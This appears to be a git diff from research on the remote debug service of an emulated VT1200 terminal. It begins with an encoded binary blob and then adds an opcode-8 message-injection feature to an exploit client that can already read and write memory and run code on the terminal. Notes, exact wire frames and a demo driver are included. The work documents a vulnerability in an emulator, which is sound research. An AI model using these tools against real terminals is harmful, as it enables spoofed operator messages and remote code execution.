zH;0|JC-dAQ6d5WOnR$$q45gRbGi$XgE9Um#?>-65vY}bsp>bh(w()@~Y&N6WfG$Vm zyij3Dc2@Je>n(}Ti46%E{`xKEb5nKDeCmnYimvW0kigRQO#x z?+0Lxu$er^C0Rl8Mq0VJ=Glsa$MSNyZ)ny4qYYXjDm6U?mwZc~uR9JUd&z&KAgW#c z(bDt2*)8ohSJn)RW@V%&lMtj7K5f%}m!ry_rga7M5HaYq1dU!MirqnwM@)Li*8txm zV;kLiCprqint4IIzVQogw~?9L1hr=9@+qLa1$fTM#+zO#=W3F2UDB>eo%ewzPT26? z6Ayb(DekXsU;e(^fTky3je~xE=-o7H0MpE3Ma{wvFK&w=qqi(H%$WsI$cOEqhosk| ze*^D`X8RO{yrNB{!k>z7IygmH+%4V^!HEB1Fe&W^5VjQiSe<#qO0y8wr78AQdclJO z!&)-)21}_G3a7{cBE*;Vx6tm4;f3#JFpFN&m4>ct7qK~KDp!ik8dDbuW=q6EyO-#e z0NeObj4#m{QK+@qq!qLh-nMw>Rw3D5xOVzU2w=VAHaj`BvTKe=`uPD`{css$Hs_4s zVs?-IuQ?lU_U!kwKtm1e%r!W-DurNi6ypoIhf$0kiyQeZlMe-!WZh)f3@?3eNkmsl zw`fGP1A7ZsEh9GDWiOAZn;ILw0G*+otu)i*B_9|GRp+f8_+x&(uwwsv=Q;b*s*uVziylT&P# z7ks9F2~ucC=22%1gZ)$GWB?WP=7A?Tgy1ua)mEgpMyKmc(st$)hl|e_ZmuT2Z|Nn` zP*SO0aiGWB$&pi9L?-edfWn;@deCmTCMw$MPlqOfGuZ21Te=L+>Oxh`-`-`}Pz=pH zdQveq5$&m*WxeAu24<2%Dm{|ug3!|%8(c3X$xfqumcv+rl|z{fbciIRXCVDCtN3CZne;LumPBM6F15 z4vXic{dH^xJEqK`$c{RXm-J_N&RD4m*F_k9q@9&<^onoVPnD>e`fAGo$+f|%On%c0 zSI9NoW|z$=#aGWqnJUOzbBbvz7-`q7pgSACi-tT{V~m`Gb1TB$h)#yqV!ln?jMj+Qr{21_##iHA^`bQD z{!HoioGRZAr%v5cr$Ns&Geg0#35zPTND}ow*YUe4hk?t^y6>pQuivbG<84YN8G7WZ z`u=8W@*6cTbOzzH5j}O)Wel?{{C?f_WDK=vFYTwSg;0qcwHckxr)v@QZdYyL;jMPO z*p5~A2Sgxm8|L4qjJT*}02UtXS-Dd|F?`Z23`WAY z%&|NHsPu=_oh%R-N^bn!IJ;Kvm${}C>}dlgUxK+Z7jKYdiXo2Ov#Ojw72Ib}nG%*g zcUu6)P?Ie#o}6D%k_5gh(E!Zq`O(NZjVIbaB>DEdcWAy{xEXtJw@ty&vdKy3JU-ow zsHwe5oZjMz$(dL{tLtb|_fZ7dVfs#VDIlzFTEz;;Ky=GhJD{GyK`_!ZTDp!)E{}W> zNq*Q4%6m7asIlxItXJ38H_~xA^KtvkM(<}feGi_MwcF6X&oLw!TB<7aVy~NO;ag*> zxlbJmO=JEYpqcX$c)mHsI0r^~#=Ms54?&#!a+H%$&N#!8%Z`nX4?fjpL_>DZ+ie}w z_lA964C>x0q<|=Iz3(jcA3rjQ7$Qn(gfnrbAHv_`9h~L%&ZO<~;~Y>C$M71R2Ckl{ zbm}4DK11>i;ld{{tf32?`fJ;Lc2Vv?M_xahBbD`(x#>k3Eni+RF?WD%jtqCop#S&* z;~a?Pk~TrFxankZo>HsAjlr-&2BDsG9>6%zXcWMHqwYs?iXo#_I^V6Y)-SA_*?3vo zP=n~$=jOf`n;WN%J~s9YyAsZ_$i-0$@qv-fu%7dY``-6N(S~S(_#?2G(!jR1?}aqo zyye-*o*L=t8VP_4Jue*XX-Wxim`pXG8>v-5QA}j}T%oO5ZtkP_^A?~7+y`mcQe#x5 zU?J~tRQVy>0^5!hf?z3`MCO*s)ZN1EeUjn`&!N{%!g*@oa54~C*~19v@v$dY+&1;@ zoFtjZ;U+Qc(`MCjd zE;7DiV{mhT4_SWB@&l5g3Y+>uqZ~x5%REzG-_&+MFhejxiHc>mCs9W=6e&5YOS%LA zGsXx^w#AU0dj34&JLD6`9(5eNJ+qOIU~XK`Y>TOsw<{41maeC5;aGoskhygTerFh$ zoVeJC`hhrDq0MgYAdHSHeezl~gI#oJz6L_37E?D!rp<oO^S#8K*2<#{mVQJpxu^1Yk5+Qq|MF4sHW)q$7+BEclH;H%UnJc$+j*ULu zo9I?oqyX}{GyS|5xuWHF`d!`!z5=}0g~_TU6m2aLRg&jfhq!x$-XMwljML=#!pgk% zs8HOMG3#X@j`b5$iu&&hc5%BWB0je*5&*cMurh>N;m7PGQG{UvB|-?Zrm8+NgnZm6 zEnteQL%UD0NEP+3VH=~jx%O zr9zzkT8stL7TJO9)-BDhp7GB65#A0U=>`scoHh1o$I|JP0dvk!UtRB+WhI_l>iy}I zG+t(5NaH72fR!S5>()=H>_XAgDX=K)y~K4Q+_0J^%5Xq^a?Y~bHAy~UaReM~lZ|M6} zl@Rg*q@6nTA-g}lR}LEM9DvqvN1@l9eH!pibx|t73LlUY{uznx3!vGVMRdQf4*;q` z**jHsTW-)e{&$ty=>G<-@?YSH1r%#uZqY?ly5nfVjzue`N=u!x6{=unRuJrkXh!D2 zEPVgWR1}+XT@zi%Ez?uD&%GC6DjRvLJL&=@Dd_qq-?58Au%A7qPL*ALyHx6wR()5u zON4$jw#FMKpHWvQ`@-X>I!p_bCwQ=|k)7o{mrUpdo|A`Lc+VYBRlJ%INA6r1{e++m z#(b-OIa<)wVklkelE$B4Qc8<5Jlx|`S|H`B*^F3Z0EXBwAy?H<_~o0@uUOEq@o3RGmSO-m7BK2#6jg4DDk`q=d6=tD;?8^F{Gk^3wXD+!<`fI z@bwM;;lpujXhE*xz5+7&s#~x+tSEu3#0|eHchseMOOWa`$=hw#v>lli^+%}v2q;fb zgc|Gn>h{4>O6}NvD5eurDignSN;1e8O_%rYHg->O{RppLC5#$BRIT$y5;Ub`1cXyg zQq*7)`E>5{-TvX%o&>Y+1~PlGTmdON1g*1&Y=q?Jmmo)Y`oB%a?cg@!=;d?WMxjdl zDyCBTms62V9@{AcndfUD+GGx-Tszx&o<}VewQj#VwOiEPMo_dP{Dj^Wp#1avSrw|z z7o96b9#NK^PyhqRZDMy(uf=JZB8+^9{k?LzHYyE5_>z;xL@^{FTaGFzYGM?C##R*Zq27x!ENxgcR?nZTD6!@Cv>Z$) z#DzJ)!?Z|I)E1YFmed2Ju~7QpUUyj|ik=f(ARVPRq`5O)>w-Fgr>L4-`Pf-c^4Wgc zA|YeA_0m37W7K=qm`tSSyK@KJ1m}u`_J}m483#_^5svy%Vnht;%CxD?Ts%(k=H?6ixukjSN$-?vlT8UXp z`0EKBSB4gy33A0fhq)j`=23Ntr()L?n=4+qWj<7e3qubxM!lI;+SxM3Wi6SjbMb~f z&FOf@=YQ%_0^)1k*_duw+c%;HODRE({?<1WC z9d6X_qdSR{E;usxS`S9&w@V9bc+&bs)Q(oS%sQ)Gb;u6kQQ2$fA(qFLBM+X;lowR; z3Msv`qNv~SyH15=JaGuYIXf}-y4xY$P8K0TvDHs(J2Il1sX--9_)oc<358s4=ue8! z438l-Yop2lJF#^aiqgY^h{78l335$c7k-IYA>hy|a2Tfo>4Qr34_PEXbvsnH=V$um zF7AzXlty;C22z&3fg_}P>`?o6lsDF#W;~gY{rev_c2$e(m`TYmPD=f<>&NPEJ2I18 zA9kfzcO%|#Du)QpYF?p8sJVn%Js>MBw^=7U{4;&j0<;^|CSAbE&P&1QV%Np)V0Zg{ zSQ;~;BrJ(k6)SXc9p#`oibA<6ezq z^{pYOuq{dXLn%VcY3f!kZ|}#`*x=_i%^gByBuAI*IXis?DMrxoxe^06HG{s%kh?XIg!or-Whc?^lKM^qZy396H=n?TY7S@km$O`P#N4sQ`&G1Ujh7{F zMxRv_1^L+7Luk@`#Hp1M55+8!$H-OTCczP`&9(HPQrKabg{Y}icVRpAYiba#+D63kD$fez^dQCjWH!$Pg!Kd~^8n5JJ%_9pp3TA^j*ElGc~Lxz_k<|<#!UrDepq<YApc_?7mN;pyk-IjqM~LUeyy z32yp&;J>%R`tNd%5T1kR+ze1HX0e>wN9*K6$nGiiPGCUREj-wUTFkaXl?hKvD2e;k6D?38Iv;{0# zU^_5+iGz+dT()sa)iE;JIK5~v_)cvaFED;;VRx4v$XYrRi09TN;eYEub_6rx`ICa= zzhFJ|KM)_CLck_KQE=TaYsQn#(&iHSCe~FwyOgaXU^fc&6n$WdMT3l%44`hou^VKe z9n=Ktu?ei|dM- z%4(-}xpE3WHlNZpr>U#p85JK|YWTp}*@O>W_L!o11pmd*Wh8k=&iY$H46>X*7kA-y zb~xs|!Wbfruc<*SgI{`4&SR=ZPI>GUH8@Qwxo3>liTA>DzTP;XsKnP_W$sap@F$tB z)-YUu|6A-yu-9k(#O9E-hH>C|d+B8pciHuJ?{;ouOJlPSkzY_aW zbXtb^@FtjUtzpIPZv6xXM6r!{Z0 z<9tH4Yi?-URPAaiq={3OiYMUruZjl-9KtWL%8^0^IB#-jvhF)Fb&5}^KaJpi_wH$t zf9ll#pYO$gBC5UZGcKOqF|#}Y)Wf6i)x+w4!RDoZH?{t!%lVZCwejc&H8jpQXF+`+ z%X)xyXId3=@}@@Y-o+A3Cxk4=5=L!QP;JPRAbk-2{@bb9Z#n#@a3vN>3(~f=g{FTJ z9l#ul8V{J5LH2OYwNYoZsECj4EV=p*UXh)ioX)IW?>Fr=d)~0ZyHNXTL#DrGHrGLv zl_J{z&um5eFK9Csm}Q~Rhdp8X)CMIKf*bLqUIa|x@U*#nr;H{$(d)WL{iC^u?9yLs z;jSw_?B;xabrC9knSWQA-Hlq;c=eGoeqq*c9^-N(guZ}CPEoeEP@Lc_TtxVu$%X%x zfNjuPWbHn=Xhz40?5sGqWc_weX$=G=^D9A+C4CRU*v7IiT+z7lLya5$fQ=Dn;!!p| zNt|}{DVvC79SQxmw(VpcASGy#BIbP(a3U7I@z1RYlys-6t2!zpOxF)}?-N~QXp2Zu z&i&gghL*rt!V+G-Cc?OKi`^6p>_`XtyPWjt78F?p~iy%KDVHXhQ6ojmUo_DX0s zao*<>;A&$Fyusy36OAqc)702P;J9+u#Cf0NV4=>~f-|(yYT~>P5P&Am`+V_-S$}w| zx%m%l{V@|kWcVXM{1Hw;IQ%2|{E?~w4E|sc6X&b{H}frgOO9=c*LcGB^fo~0!oZ(0 z$ogs6{c(Di&hCL#v+mQgwq6bo6bq!8YVv1AtJUi^=PbDT8E;p!LIv2NShozm=BMG_ zN9jd?BG&f=A>k}Us;uN!O&*}8((_%LZ#%+O_e;ZPZ=qB2C5GeQWZE1qIIKVDFPmq0 zjtcmyQq-$AY>t$b<%OFz^9BLEbwYIp=g7`mrB6+c4f&KaOl~?Pm6LxcJnVAnO9hJWn zoDgY7gw1?b`&*D|%MJ^Df(`DvtK{f&fuFn0rJF*RFsLVUdsmp1s0#e02F~Nh8Uve` zRub3v7%$et!)B(rDq zuORzlFw-#s4sMjIO8)c)`;&4WsDYI1rkAVWs%M}*lS#ajxmt!{TQFn4GUZpzbA!8& z?#xN{`w>90ZVdMM+waDlkJ;Mq{~Vwl*`we3 bytes: + """Opcode 8: ask the firmware to display *text* (len 1..1024). + + Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler + allocates len+2 and copies len bytes, but it does **not** write a + terminator (measured: a message sent without one is followed on screen + by stale heap bytes). So ``terminate`` (the default) appends one NUL, + and the NUL counts toward ``len``. Returns the reply payload (normally + ``b"Done\\n\\x00"``); raises ProtocolError on an error reply. + """ + if isinstance(text, str): + text = text.encode("latin-1") + if terminate and not text.endswith(b"\x00"): + text += b"\x00" + if not 1 <= len(text) <= MAX_XFER: + raise ValueError(f"message length must be 1..{MAX_XFER} bytes") + flag, payload = self.command(8, be32(level) + be32(len(text)) + text) + if flag != 0: + raise ProtocolError(f"display_message: expected Done flag 0, " + f"got {flag:#x}: {payload!r}") + self.expect_done(payload) + return payload + def jump(self, bit_addr: int, args: list[int], wait: bool = True, wait_timeout: float | None = None) -> tuple[int, bytes] | None: body = be32(bit_addr) + be32(len(args)) @@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]: frames = [] if args.opcode is not None: frames.append(be32(args.opcode)) + if args.message is not None: + text = args.message.encode("latin-1") + if not text.endswith(b"\x00"): + text += b"\x00" # the handler does not add a terminator + frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text) if args.peek is not None: frames.append(be32(2) + be32(args.peek) + be32(args.len)) if args.poke is not None: @@ -344,8 +376,13 @@ def main(argv: list[str]) -> int: g.add_argument("--poke-file", type=parse_int, help="poke a whole file: bit address") g.add_argument("--jump", type=parse_int, help="jump: call bit address") + g.add_argument("--message", metavar="TEXT", + help="opcode 8: display attacker-chosen text on the " + "terminal screen") ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)") + ap.add_argument("--message-level", type=parse_int, default=0, + help="opcode 8 first word (default 0; try 0..3)") ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF") ap.add_argument("--file", help="poke-file payload path") ap.add_argument("--arg", type=parse_int, action="append", default=[], @@ -410,6 +447,9 @@ def main(argv: list[str]) -> int: off += len(chunk) print(f"poke-file {args.file}: {len(data)} bytes at " f"{args.poke_file:#010x}: ok") + if args.message is not None: + rd.display_message(args.message_level, args.message) + print(f"message level={args.message_level} {args.message!r}: ok") if args.jump is not None: result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0, wait_timeout=args.jump_wait or None) diff --git a/dwt/notes/CROSS.md b/dwt/notes/CROSS.md index 65ea844..27f7109 100644 --- a/dwt/notes/CROSS.md +++ b/dwt/notes/CROSS.md @@ -310,3 +310,36 @@ Details, addresses, frames and limits: `dwt/notes/VISUAL_INJECTION.md`, `dwt/evidence/visual/`. ROM md5 unchanged; no driver edits; only `VT1200_SKIP_LEVEL1=1` (documented divergence) and a private nvram. +## 2026-10-18 11:01 EEST — opcode 8 writes the TM Messages box (no payload) + +Facts, all measured over rdebug on the live OS (`VT1200_SKIP_LEVEL1=1`); details +and frames in `dwt/notes/DISPLAY_MESSAGE.md`. + +* **Opcode 8 is `rdebug_display_message` and it lands in the Terminal Manager + Messages box**, not a popup. Body: `u32be 8 | u32be level | u32be len | len + bytes`; reply `Done\n`. `len` is 1..1024. +* **The handler does not NUL-terminate.** It `malloc(len+2)` and copies `len` + bytes; a message sent without a NUL is followed by stale heap bytes on screen + (`…LEVEL ZEROUUUUUU@`). Send `text + NUL` and count the NUL in `len`; max clean + text is 1023 bytes. +* **Level is a class filter, not a destination.** The append routine is + `0x07E6126A` (bit `0x3F309350`), the same one `accept_debug_conn` calls. + Per-class enable bits at bit `0xAECE2/3/4` (byte `0xAECE0` = `0x05` on this + boot): level 0 enabled, level 1/2 disabled, level 3 unchecked. Observed: + levels 0 and 3 render; 1 and 2 are silently dropped. +* The pane is a **5-line viewport** (`count-5` at `3F30A940`/`3F30AA40`); older + lines scroll out (eight sent → 04..08 visible). Lines persist across + repaints (frames 944 and 1938 byte-identical). Not modal; opcode 7 still + answers after the messages. +* No `dwt/visual/msg.asm` was built: the firmware already provides the + primitive. Same connection can poke/jump a payload, then opcode 8. +* `dwt/exploit.py` gained only additive `RDebug.display_message()` / + `--message` / `--message-level`; `dwt/visual/msg_demo.py` and + `dwt/visual/msg_snap.lua` are new host tooling. +* Harness note: MAME's taptun name is fixed (`tap-mess--0`), so a second + MAME needs its own net namespace; this run used one (`vtmsg`) while another + MAME held the default tap. + + +--- + diff --git a/dwt/notes/DISPLAY_MESSAGE.md b/dwt/notes/DISPLAY_MESSAGE.md new file mode 100644 index 0000000..6dfe221 --- /dev/null +++ b/dwt/notes/DISPLAY_MESSAGE.md @@ -0,0 +1,160 @@ +# Attacker-chosen text in the Terminal Manager Messages box (rdebug opcode 8) + +Status: **DONE — opcode 8 (`rdebug_display_message`) puts attacker-chosen text +in the Terminal Manager's Messages box.** No payload, no code injection and no +debugger breakpoint are involved. The visible result is the same pane the OS +uses for `System defaults loaded.`, `TCP/IP is now up.` and +`Debug connection from IP host …`. + +ROM untouched (`md5 b46a3e442ccb86134d2356bd70d22fd2`). No driver edits. +`VT1200_SKIP_LEVEL1=1` (documented divergence), private `-nvram_directory` and +BOOTP/TFTP as in the other OS-path runs. + +## 1. The wire request + +``` +request = u32be 8 | u32be level | u32be len | len raw bytes +``` + +`len` counts the raw bytes that follow and must be 1..1024. **The NUL +terminator is the sender's job.** The handler `malloc(len + 2)` and copies +`len` bytes, but it never writes a terminator. A message sent without one is +followed on screen by stale heap bytes (first experiment: the 29-byte +`RDEBUG MSG ONE - LEVEL ZERO` rendered as `RDEBUG MSG ONE - LEVEL ZEROUUUUUU@`). +Sending `text + NUL` with `len = len(text)+1` renders cleanly. So the largest +clean text is 1023 bytes, not 1024. + +Exact requests used (dry run, `dwt/exploit.py --dry-run`): + +``` +# level 0, "ATTACKER MESSAGE ONE" + NUL (len 0x15) +00 00 00 08 00 00 00 00 00 00 00 15 +41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00 + +# level 3, "LEVEL THREE TERTIARY" + NUL (len 0x15) +00 00 00 08 00 00 00 03 00 00 00 15 +4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00 +``` + +The reply is the usual `"Done\n"` frame. `dwt/exploit.py` now has +`RDebug.display_message(level, text, terminate=True)` and a `--message TEXT` +option; `terminate=True` appends the NUL (and therefore counts it in `len`). + +## 2. What `level` does + +`level` is a syslog-style message class, not an offset or a length. The append +routine is `0x07E6126A` (bit `0x3F309350`) — the same routine `accept_debug_conn` +calls for `Debug connection from IP host %s`. On entry it checks per-class +enable bits in RAM: + +| level | check (bit address) | on this boot | visible in Messages | +|---|---|---|---| +| 0 | `@0xAECE2` (byte `0xAECE0` bit 2) | **1** | **yes** | +| 1 | `@0xAECE3` (bit 3) | 0 | no | +| 2 | `@0xAECE4` (bit 4) | 0 | no | +| 3 | no check — always accepted | — | **yes** | + +Measured byte at `0xAECE0` on the live OS (`opcode 2` peek): **`05`** = +bit 2 set, bits 3 and 4 clear. That matches the observed result exactly: +levels 0 and 3 render; 1 and 2 are silently dropped. Levels 0 and 3 write to +the same Messages list — the level chooses *whether* the line is admitted, not +*where* it goes. + +Disassembly of the filter: `3F3093B0` (bit `0xAECE2` / `jreq` exit when the +class is 0), `3F309430` (`0xAECE3`), `3F3094C0` (`0xAECE4`, `subk 2` / +`jreq` exit). Level 3 falls through all of them. + +## 3. Where it appears, and what the pane does + +* **The Terminal Manager Messages box**, below the `Messages` heading and above + the Ethernet/IP/LAT block. Nothing else on the screen changes: no dialog, no + popup, no status line. +* It is **not modal**. The TM keeps running, the rdebug session stays usable + (`opcode 7` answers after the messages) and the message is just another line + in the list. +* The pane is a **5-line viewport**. The append routine computes the top line + as `count - 5` (`3F30A940` / `3F30AA40`), which is why sending eight + `SCROLL LINE 01…08` messages leaves `SCROLL LINE 04…08` visible. Older lines + go out of view (the OS's own `System defaults loaded.` / `Using local fonts.` + scroll off the same way); the scrollbar is present. A hard cap on retained + lines was not established; the only verified per-message bound is the + 1024-byte `len` check. +* **Persistence:** after the three demo messages the frame at 944 and the frame + at 1938 (≈1000 frames later) are byte-identical + (`4bf8e2299d4ee704848a0b107bf2a31d`). The line persists and survives the OS's + repaints. +* **Repaint timing (honest caveat):** in the controlled run the text appeared in + the next snapshots (5–14 frames after the send). In one earlier run the very + first message was buffered but not drawn for more than 130 frames, until the + next message/connection caused a pane redraw. So the list update itself is + immediate; when it becomes visible depends on the TM redrawing the pane. + +## 4. Why no payload is needed + +The firmware already ships the primitive. There is no reason to call the +append routine from a `jump` payload: `dwt/visual/msg.asm` was **not** built, +because opcode 8 reaches the same routine with an attacker-controlled string and +returns `Done`. It composes trivially with the visual work — the same rdebug +connection can `poke`/`jump` a payload and then send opcode 8; no hook, no +resident code, no breakpoint. + +## 5. Reproduce + +The host tap `tap-mess--0` is fixed by MAME's taptun provider, so a second +MAME cannot share it. This run used a private network namespace with its own +`tap-mess-1000-0`, bridge and veth to the host, while another MAME held the +default tap. Nothing about the result depends on that choice; on a free tap the +ordinary harness command works. + +```sh +# terminal (private NVRAM; 192.168.100.2 comes from harness/serve.py --bootp) +VT1200_SKIP_LEVEL1=1 \ + /home/arti/code/k-space/mame0289/vt1200 vt1200 -rompath harness/mame/roms \ + -sound none -skip_gameinfo -networkprovider taptun -video none -nothrottle \ + -cfg_directory -nvram_directory \ + -debug -debugger none -autoboot_script dwt/visual/msg_snap.lua \ + -autoboot_delay 0 + +# host: one connection, challenge answered by dwt/challenge.respond +python3 dwt/visual/msg_demo.py --host 192.168.100.2 --wait 40 \ + --message '0:ATTACKER MESSAGE ONE' \ + --message '0:RDEBUG TEXT TWO' \ + --message '3:LEVEL THREE TERTIARY' +``` + +`msg_snap.lua` is read-only with respect to the emulated machine: it reads the +frame counter and takes `screen:snapshot()` PNGs when the host writes a trigger +file (`" "`). No breakpoints, no firmware writes. + +## 6. Evidence + +| file | what it shows | +|---|---| +| `dwt/evidence/visual/msg_before_frame00824.png` | before: five OS lines, no attacker text | +| `dwt/evidence/visual/msg_after_frame00944.png` | after: `ATTACKER MESSAGE ONE`, `RDEBUG TEXT TWO`, `LEVEL THREE TERTIARY` in the Messages box | +| `dwt/evidence/visual/msg_persist_frame01938.png` | ≈1000 frames later: identical frame (`md5 4bf8e229…`) | +| `dwt/evidence/visual/msg_scroll_frame07979.png` | eight lines sent; viewport shows the last five (`SCROLL LINE 04…08`) | +| `dwt/evidence/visual/msg_levels_frame15265.png` | level 1 and 2 sent just before: invisible; level 3 visible | +| `dwt/evidence/visual/msg_*_crop.png` | the Messages box crops of the above | +| `dwt/evidence/visual/msg_client.log` | challenge, reply and every opcode-8 body on the wire | + +The log was captured as `msg2_client.log`; only the PNG prefix was renamed +(`msg2_*` → `msg_*`) when the duplicate run-1 frames were dropped. + +Also `dwt/visual/msg_demo.py` (new host driver) and `dwt/visual/msg_snap.lua` +(new snapshot trigger). `dwt/exploit.py` gained only additive support +(`display_message`, `--message`, `--message-level`); existing behaviour is +unchanged. + +## 7. Caveats + +* The challenge (`dwt_prf`) still has to be answered; `msg_demo.py` uses + `dwt/challenge.respond`, the established offline answer. This note is about + what the service does once a session is open, not about bypassing the + challenge. +* Level 1/2 are filtered on this boot because their enable bits are clear. + Writing `0xAECE0` to set bits 3/4 would presumably enable them, but that is a + runtime config change and was not needed; 0 and 3 are both usable. +* The 5-line viewport is measured and matches the `count-5` code. Scrollback + beyond the viewport and any ring cap were not exercised (no pointer-input run + for the scrollbar). diff --git a/dwt/visual/msg_demo.py b/dwt/visual/msg_demo.py new file mode 100644 index 0000000..12951e5 --- /dev/null +++ b/dwt/visual/msg_demo.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Send opcode-8 messages over rdebug and take frame snapshots around them. + +This is the host driver for the Messages-box experiments in +``dwt/notes/DISPLAY_MESSAGE.md``. It imports ``dwt/exploit.py`` (which owns +the protocol) and patches the challenge answer with ``dwt/challenge.respond`` +exactly like ``dwt/visual/inject.py`` and ``dwt/solve.py`` -- no debugger, no +breakpoints, no RAM patch. + + python3 dwt/visual/msg_demo.py --wait 30 \ + --message '0:ATTACKER MESSAGE ONE' \ + --message '0:RDEBUG TEXT TWO' \ + --message '3:LEVEL THREE TERTIARY' \ + --before-prefix msg_before --persist-frames 1200 \ + --persist-prefix msg_persist + +The trigger file is consumed by ``dwt/visual/msg_snap.lua``: +``" "`` snapshots ``count`` frames, ``stride`` apart. +""" +from __future__ import annotations + +import argparse +import os +import sys +import time + +HERE = os.path.dirname(os.path.abspath(__file__)) +DWT = os.path.dirname(HERE) +sys.path.insert(0, DWT) + +import challenge # noqa: E402 +import exploit # noqa: E402 + +_orig_answer = exploit.RDebug.answer_challenge + + +def _answer(self, challenge_bytes: bytes) -> None: + self.challenge_raw = challenge.respond(challenge_bytes) + print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True) + print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True) + return _orig_answer(self, challenge_bytes) + + +exploit.RDebug.answer_challenge = _answer + + +def trigger(path: str, prefix: str, count: int, stride: int) -> None: + with open(path, "w") as fh: + fh.write(f"{prefix} {count} {stride}") + print(f"[.] snapshot trigger {prefix} x{count} every {stride}", flush=True) + + +def parse_message(spec: str) -> tuple[int, bytes]: + level_text, sep, text = spec.partition(":") + if not sep: + raise argparse.ArgumentTypeError("message must be LEVEL:TEXT") + return int(level_text, 0), text.encode("latin-1") + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser( + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--host", default="192.168.100.2") + ap.add_argument("--port", type=int, default=771) + ap.add_argument("--timeout", type=float, default=8.0) + ap.add_argument("--wait", type=float, default=0.0, + help="seconds to keep retrying connect (0 = one attempt)") + ap.add_argument("--trigger", default=None, + help="msg_snap.lua trigger file") + ap.add_argument("--message", type=parse_message, action="append", + default=[], metavar="LEVEL:TEXT", + help="send one opcode-8 message (repeatable); a NUL byte " + "is appended because the handler does not terminate") + ap.add_argument("--before-prefix", default=None) + ap.add_argument("--after-prefix", default="msg_send") + ap.add_argument("--after-frames", type=int, default=4) + ap.add_argument("--after-stride", type=int, default=2) + ap.add_argument("--persist-frames", type=int, default=0, + help="wait this many emulated frames after the last send") + ap.add_argument("--persist-prefix", default="msg_persist") + ap.add_argument("--keepalive", action="store_true", + help="send opcode 7 after the messages (proves the " + "session/process still answers)") + a = ap.parse_args(argv[1:]) + + deadline = time.monotonic() + a.wait + rd = exploit.RDebug(a.host, a.port, a.timeout, False) + while True: + try: + rd.connect() + break + except OSError as exc: + if time.monotonic() >= deadline: + print(f"error: no TCP at {a.host}:{a.port}: {exc}", + file=sys.stderr) + return 2 + time.sleep(1.0) + + try: + flag, payload = rd.liveness(7) + print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} " + f"({payload!r})", flush=True) + if a.before_prefix and a.trigger: + trigger(a.trigger, a.before_prefix, 1, 0) + time.sleep(0.5) # let the frame hook consume it before the send + for i, (level, text) in enumerate(a.message, 1): + # The handler allocates len+2 but never writes the terminator, so + # the sender must include the NUL; otherwise stale heap bytes are + # printed after the text. + wire = text + b"\x00" + body = exploit.be32(level) + exploit.be32(len(wire)) + wire + print(f"[>] opcode 8 body {body.hex(' ')}", flush=True) + if a.trigger: + trigger(a.trigger, f"{a.after_prefix}{i}", + a.after_frames, a.after_stride) + rd.display_message(level, wire) + print(f"[.] message {i} level={level} {text!r}: Done", flush=True) + if a.keepalive: + flag, payload = rd.liveness(7) + print(f"post-message opcode 7 -> flag={flag:#04x} " + f"payload={payload.hex(' ')} ({payload!r})", flush=True) + if a.persist_frames and a.trigger: + # ~60 fps emulated; the clock file is not used here, so this is + # wall time at whatever speed MAME runs. The caller picks a value + # that covers the intended span. + time.sleep(a.persist_frames / 300.0) + trigger(a.trigger, a.persist_prefix, 4, 30) + time.sleep(0.5) + return 0 + except (OSError, exploit.ProtocolError, ValueError) as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + finally: + rd.close() + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/dwt/visual/msg_snap.lua b/dwt/visual/msg_snap.lua new file mode 100644 index 0000000..8aa0d6b --- /dev/null +++ b/dwt/visual/msg_snap.lua @@ -0,0 +1,56 @@ +-- msg_snap.lua -- read-only frame side channel + on-demand screen snapshots. +-- +-- No breakpoints and no firmware memory writes: this only reads the frame +-- counter and takes MAME screenshots when the host creates the trigger file. +-- +-- MSG_TRIGGER= file the host writes; content: " " +-- MSG_DIR=

where PNGs go +-- +-- The host writes " 1 0" for one immediate frame, or e.g. +-- " 8 5" for eight snapshots five frames apart. The file is removed +-- when consumed. Snapshots render through the emulated palette. +local machine = manager.machine +local dir = os.getenv("MSG_DIR") or "." +local trigger = os.getenv("MSG_TRIGGER") or (dir .. "/trigger") +local screen = nil +for _, s in pairs(machine.screens) do screen = s; break end + +local frame = 0 +local job = nil + +local function consume_trigger() + local fh = io.open(trigger, "r") + if not fh then return end + local text = fh:read("*a") or "" + fh:close() + os.remove(trigger) + local prefix, count, stride = text:match("(%S+)%s+(%d+)%s+(%d+)") + if not prefix then + print("msg_snap: bad trigger " .. text) + return + end + job = { prefix = prefix, left = tonumber(count), stride = tonumber(stride), next = frame } + print(string.format("msg_snap: frame %d job %s x%d every %d", frame, + prefix, job.left, job.stride)) +end + +emu.register_frame_done(function() + frame = frame + 1 + consume_trigger() + if job and frame >= job.next and screen then + local out = string.format("%s/%s_frame%05d.png", dir, job.prefix, frame) + local ok, err = pcall(function() return screen:snapshot(out) end) + print(string.format("msg_snap: frame %d %s ok=%s err=%s", frame, + out, tostring(ok), tostring(err))) + job.left = job.left - 1 + job.next = frame + job.stride + if job.left <= 0 then job = nil end + end + if frame % 500 == 0 then + local cpu = machine.devices[':maincpu'] + print(string.format("msg_snap: frame %d PC=%08X", frame, + cpu.state['PC'].value)) + end +end, "vt1200-msg-snap") + +if machine.debugger then machine.debugger.execution_state = 'run' end